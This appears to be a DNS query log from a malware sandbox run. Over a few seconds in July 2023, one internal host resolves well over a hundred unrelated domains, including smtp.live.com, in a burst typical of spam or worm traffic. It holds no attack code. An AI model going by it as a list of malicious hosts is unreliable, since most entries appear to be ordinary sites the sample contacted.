Jul 27, 2023 21:54:27.238114119 CEST	8.8.8.8	192.168.2.4	0xc1dc	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.294413090 CEST	8.8.8.8	192.168.2.4	0xd5b1	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.294413090 CEST	8.8.8.8	192.168.2.4	0xd5b1	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.325201988 CEST	8.8.8.8	192.168.2.4	0x6bbc	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.344517946 CEST	8.8.8.8	192.168.2.4	0x6093	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.608553886 CEST	8.8.8.8	192.168.2.4	0xbfdb	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.659329891 CEST	8.8.8.8	192.168.2.4	0x4cbf	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.659329891 CEST	8.8.8.8	192.168.2.4	0x4cbf	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.740041018 CEST	8.8.8.8	192.168.2.4	0x9822	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.740041018 CEST	8.8.8.8	192.168.2.4	0x9822	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.740041018 CEST	8.8.8.8	192.168.2.4	0x9822	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:27.740041018 CEST	8.8.8.8	192.168.2.4	0x9822	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.022355080 CEST	8.8.8.8	192.168.2.4	0x1794	No error (0)	any-s.net		108.170.12.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.039593935 CEST	8.8.8.8	192.168.2.4	0x5736	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.105500937 CEST	8.8.8.8	192.168.2.4	0x7ff	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.269469976 CEST	8.8.8.8	192.168.2.4	0xb615	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.321279049 CEST	8.8.8.8	192.168.2.4	0xfd9c	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:28.366390944 CEST	8.8.8.8	192.168.2.4	0xe700	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.448839903 CEST	8.8.8.8	192.168.2.4	0x6488	No error (0)	apcotex.com		35.154.163.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.456420898 CEST	8.8.8.8	192.168.2.4	0xfd5a	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.456921101 CEST	8.8.8.8	192.168.2.4	0xb864	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.461582899 CEST	8.8.8.8	192.168.2.4	0x8ffe	No error (0)	hbfuels.com		85.233.160.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.484890938 CEST	8.8.8.8	192.168.2.4	0xa06e	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.489810944 CEST	8.8.8.8	192.168.2.4	0x7727	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.503063917 CEST	8.8.8.8	192.168.2.4	0x7e4b	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.503063917 CEST	8.8.8.8	192.168.2.4	0x7e4b	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.524382114 CEST	8.8.8.8	192.168.2.4	0x9e22	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.641895056 CEST	8.8.8.8	192.168.2.4	0x4d72	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.755816936 CEST	8.8.8.8	192.168.2.4	0xaaea	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:28.755816936 CEST	8.8.8.8	192.168.2.4	0xaaea	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.023641109 CEST	8.8.8.8	192.168.2.4	0x5bd4	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.135050058 CEST	8.8.8.8	192.168.2.4	0xbee8	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.231709957 CEST	8.8.8.8	192.168.2.4	0xfdca	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.256644011 CEST	8.8.8.8	192.168.2.4	0xb874	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.300539970 CEST	8.8.8.8	192.168.2.4	0xde8a	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.300539970 CEST	8.8.8.8	192.168.2.4	0xde8a	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.300869942 CEST	8.8.8.8	192.168.2.4	0x4a7d	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.361614943 CEST	8.8.8.8	192.168.2.4	0x7c98	No error (0)	ftchat.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.361614943 CEST	8.8.8.8	192.168.2.4	0x7c98	No error (0)	ftchat.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.438131094 CEST	8.8.8.8	192.168.2.4	0x26a5	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.605155945 CEST	8.8.8.8	192.168.2.4	0x5ad8	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.605155945 CEST	8.8.8.8	192.168.2.4	0x5ad8	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.878287077 CEST	8.8.8.8	192.168.2.4	0x83ac	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:29.988996029 CEST	8.8.8.8	192.168.2.4	0xf1c7	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.007158995 CEST	8.8.8.8	192.168.2.4	0xd103	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.018970013 CEST	8.8.8.8	192.168.2.4	0xb615	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.113492966 CEST	8.8.8.8	192.168.2.4	0x6eaf	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.188977957 CEST	8.8.8.8	192.168.2.4	0x20c1	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.188977957 CEST	8.8.8.8	192.168.2.4	0x20c1	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.213335991 CEST	8.8.8.8	192.168.2.4	0x5736	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.251393080 CEST	8.8.8.8	192.168.2.4	0xc7f0	Server failure (2)	amele.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.265916109 CEST	8.8.8.8	192.168.2.4	0x62f7	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.421799898 CEST	8.8.8.8	192.168.2.4	0x5671	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.431730032 CEST	8.8.8.8	192.168.2.4	0x502f	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.431730032 CEST	8.8.8.8	192.168.2.4	0x502f	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.504038095 CEST	8.8.8.8	192.168.2.4	0x9b76	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.553247929 CEST	8.8.8.8	192.168.2.4	0xe53e	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.695678949 CEST	8.8.8.8	192.168.2.4	0xbab1	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.700867891 CEST	8.8.8.8	192.168.2.4	0x30c	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.700867891 CEST	8.8.8.8	192.168.2.4	0x30c	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.700867891 CEST	8.8.8.8	192.168.2.4	0x30c	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:30.768276930 CEST	8.8.8.8	192.168.2.4	0xf26c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.022114038 CEST	8.8.8.8	192.168.2.4	0x928a	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.036504030 CEST	8.8.8.8	192.168.2.4	0xb615	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.112932920 CEST	8.8.8.8	192.168.2.4	0xe514	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.112932920 CEST	8.8.8.8	192.168.2.4	0xe514	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.417840004 CEST	8.8.8.8	192.168.2.4	0x208e	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.421336889 CEST	8.8.8.8	192.168.2.4	0x1328	No error (0)	nekono.net		202.172.28.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.421554089 CEST	8.8.8.8	192.168.2.4	0xbc13	No error (0)	yasuma.com		61.200.81.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.425102949 CEST	8.8.8.8	192.168.2.4	0xe2a6	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.425297022 CEST	8.8.8.8	192.168.2.4	0x29f8	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.427352905 CEST	8.8.8.8	192.168.2.4	0xff69	No error (0)	akr.co.id		104.20.122.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.427352905 CEST	8.8.8.8	192.168.2.4	0xff69	No error (0)	akr.co.id		104.20.123.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.427352905 CEST	8.8.8.8	192.168.2.4	0xff69	No error (0)	akr.co.id		172.67.33.252	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.428724051 CEST	8.8.8.8	192.168.2.4	0x7f3	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.428724051 CEST	8.8.8.8	192.168.2.4	0x7f3	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.428764105 CEST	8.8.8.8	192.168.2.4	0x42d4	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.428764105 CEST	8.8.8.8	192.168.2.4	0x42d4	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.428764105 CEST	8.8.8.8	192.168.2.4	0x42d4	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.428764105 CEST	8.8.8.8	192.168.2.4	0x42d4	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.432591915 CEST	8.8.8.8	192.168.2.4	0x9ee	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.434427977 CEST	8.8.8.8	192.168.2.4	0xd9bc	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.434427977 CEST	8.8.8.8	192.168.2.4	0xd9bc	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.435184956 CEST	8.8.8.8	192.168.2.4	0x14f0	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.435492039 CEST	8.8.8.8	192.168.2.4	0x9df5	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.435492039 CEST	8.8.8.8	192.168.2.4	0x9df5	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.436090946 CEST	8.8.8.8	192.168.2.4	0x6342	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.439867973 CEST	8.8.8.8	192.168.2.4	0x1127	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.453375101 CEST	8.8.8.8	192.168.2.4	0x38fd	No error (0)	shteeble.com		185.106.129.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.453864098 CEST	8.8.8.8	192.168.2.4	0x84c6	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.457318068 CEST	8.8.8.8	192.168.2.4	0x6098	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.461097002 CEST	8.8.8.8	192.168.2.4	0xba99	No error (0)	deckoviny.cz		88.86.118.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.463745117 CEST	8.8.8.8	192.168.2.4	0x2671	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.465806961 CEST	8.8.8.8	192.168.2.4	0x911e	No error (0)	riwn.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.465806961 CEST	8.8.8.8	192.168.2.4	0x911e	No error (0)	riwn.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.465806961 CEST	8.8.8.8	192.168.2.4	0x911e	No error (0)	riwn.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.465806961 CEST	8.8.8.8	192.168.2.4	0x911e	No error (0)	riwn.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.468806982 CEST	8.8.8.8	192.168.2.4	0x2ee9	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.484215975 CEST	8.8.8.8	192.168.2.4	0x16ab	No error (0)	sanfotek.net		216.69.141.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.485160112 CEST	8.8.8.8	192.168.2.4	0x1966	No error (0)	deckoviny.cz		88.86.118.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.494324923 CEST	8.8.8.8	192.168.2.4	0xa920	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.495341063 CEST	8.8.8.8	192.168.2.4	0xb8c8	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.505718946 CEST	8.8.8.8	192.168.2.4	0xec52	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.508481979 CEST	8.8.8.8	192.168.2.4	0x9cb7	No error (0)	deckoviny.cz		88.86.118.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.520289898 CEST	8.8.8.8	192.168.2.4	0xbf3c	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.524844885 CEST	8.8.8.8	192.168.2.4	0xaaaf	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.527097940 CEST	8.8.8.8	192.168.2.4	0x5d1b	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.528879881 CEST	8.8.8.8	192.168.2.4	0x70fd	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.530153036 CEST	8.8.8.8	192.168.2.4	0x1ad5	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.530153036 CEST	8.8.8.8	192.168.2.4	0x1ad5	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.531738043 CEST	8.8.8.8	192.168.2.4	0x65d3	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.531738043 CEST	8.8.8.8	192.168.2.4	0x65d3	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.532350063 CEST	8.8.8.8	192.168.2.4	0x851b	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.533361912 CEST	8.8.8.8	192.168.2.4	0x3876	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.547714949 CEST	8.8.8.8	192.168.2.4	0xfef5	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:31.547714949 CEST	8.8.8.8	192.168.2.4	0xfef5	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:31.547714949 CEST	8.8.8.8	192.168.2.4	0xfef5	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.547714949 CEST	8.8.8.8	192.168.2.4	0xfef5	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.550750017 CEST	8.8.8.8	192.168.2.4	0x4647	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.559304953 CEST	8.8.8.8	192.168.2.4	0x4c86	No error (0)	adventist.ro		49.12.155.123	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.559866905 CEST	8.8.8.8	192.168.2.4	0x3975	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.560808897 CEST	8.8.8.8	192.168.2.4	0xfd63	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.560808897 CEST	8.8.8.8	192.168.2.4	0xfd63	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.560808897 CEST	8.8.8.8	192.168.2.4	0xfd63	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.560808897 CEST	8.8.8.8	192.168.2.4	0xfd63	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.563509941 CEST	8.8.8.8	192.168.2.4	0x19d4	No error (0)	gcss.com		15.197.204.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.563509941 CEST	8.8.8.8	192.168.2.4	0x19d4	No error (0)	gcss.com		3.33.243.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.565735102 CEST	8.8.8.8	192.168.2.4	0x43c2	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.573594093 CEST	8.8.8.8	192.168.2.4	0x7fb4	No error (0)	k-nikko.com		52.199.213.209	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.573594093 CEST	8.8.8.8	192.168.2.4	0x7fb4	No error (0)	k-nikko.com		54.150.159.238	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.584952116 CEST	8.8.8.8	192.168.2.4	0xa154	No error (0)	acraloc.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.594988108 CEST	8.8.8.8	192.168.2.4	0x7f6e	No error (0)	cutchie.com		199.59.243.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.613749981 CEST	8.8.8.8	192.168.2.4	0x6364	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.614922047 CEST	8.8.8.8	192.168.2.4	0x65c8	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.623970032 CEST	8.8.8.8	192.168.2.4	0xb3e4	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.623970032 CEST	8.8.8.8	192.168.2.4	0xb3e4	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.623970032 CEST	8.8.8.8	192.168.2.4	0xb3e4	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.625447989 CEST	8.8.8.8	192.168.2.4	0x400e	No error (0)	zugseil.com		92.42.191.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.633711100 CEST	8.8.8.8	192.168.2.4	0xec18	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.633711100 CEST	8.8.8.8	192.168.2.4	0xec18	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.661123037 CEST	8.8.8.8	192.168.2.4	0x7941	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.678313017 CEST	8.8.8.8	192.168.2.4	0xfa3f	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.678313017 CEST	8.8.8.8	192.168.2.4	0xfa3f	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.678313017 CEST	8.8.8.8	192.168.2.4	0xfa3f	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.702734947 CEST	8.8.8.8	192.168.2.4	0xa1be	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.720539093 CEST	8.8.8.8	192.168.2.4	0xd1e8	No error (0)	shztm.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.723851919 CEST	8.8.8.8	192.168.2.4	0xf001	No error (0)	yhsll.com		102.134.49.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.749819040 CEST	8.8.8.8	192.168.2.4	0x4f5d	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.776125908 CEST	8.8.8.8	192.168.2.4	0xe10e	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.778908968 CEST	8.8.8.8	192.168.2.4	0x8120	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.789736032 CEST	8.8.8.8	192.168.2.4	0xf26c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.798707008 CEST	8.8.8.8	192.168.2.4	0x4682	No error (0)	hbfuels.com		85.233.160.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.798782110 CEST	8.8.8.8	192.168.2.4	0x5b8c	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.809293985 CEST	8.8.8.8	192.168.2.4	0x7e85	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.821500063 CEST	8.8.8.8	192.168.2.4	0x8e47	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.824037075 CEST	8.8.8.8	192.168.2.4	0x4b42	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.824151039 CEST	8.8.8.8	192.168.2.4	0xa483	No error (0)	btsi.com.ph		69.46.30.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.836529970 CEST	8.8.8.8	192.168.2.4	0x84b8	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.844355106 CEST	8.8.8.8	192.168.2.4	0x5d1b	No error (0)	shztm.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.864758968 CEST	8.8.8.8	192.168.2.4	0xa8a2	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.873903036 CEST	8.8.8.8	192.168.2.4	0x35a6	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.882538080 CEST	8.8.8.8	192.168.2.4	0x37f	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.887654066 CEST	8.8.8.8	192.168.2.4	0x75e8	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.904993057 CEST	8.8.8.8	192.168.2.4	0xdf3f	No error (0)	plaske.ua		5.181.161.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.921631098 CEST	8.8.8.8	192.168.2.4	0x65ee	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.927834988 CEST	8.8.8.8	192.168.2.4	0x8fb0	No error (0)	gphpedit.org		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.931008101 CEST	8.8.8.8	192.168.2.4	0xcaae	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.931008101 CEST	8.8.8.8	192.168.2.4	0xcaae	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.931008101 CEST	8.8.8.8	192.168.2.4	0xcaae	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.931008101 CEST	8.8.8.8	192.168.2.4	0xcaae	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.935376883 CEST	8.8.8.8	192.168.2.4	0xec99	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.935376883 CEST	8.8.8.8	192.168.2.4	0xec99	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.935376883 CEST	8.8.8.8	192.168.2.4	0xec99	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.935376883 CEST	8.8.8.8	192.168.2.4	0xec99	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.954904079 CEST	8.8.8.8	192.168.2.4	0xf032	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
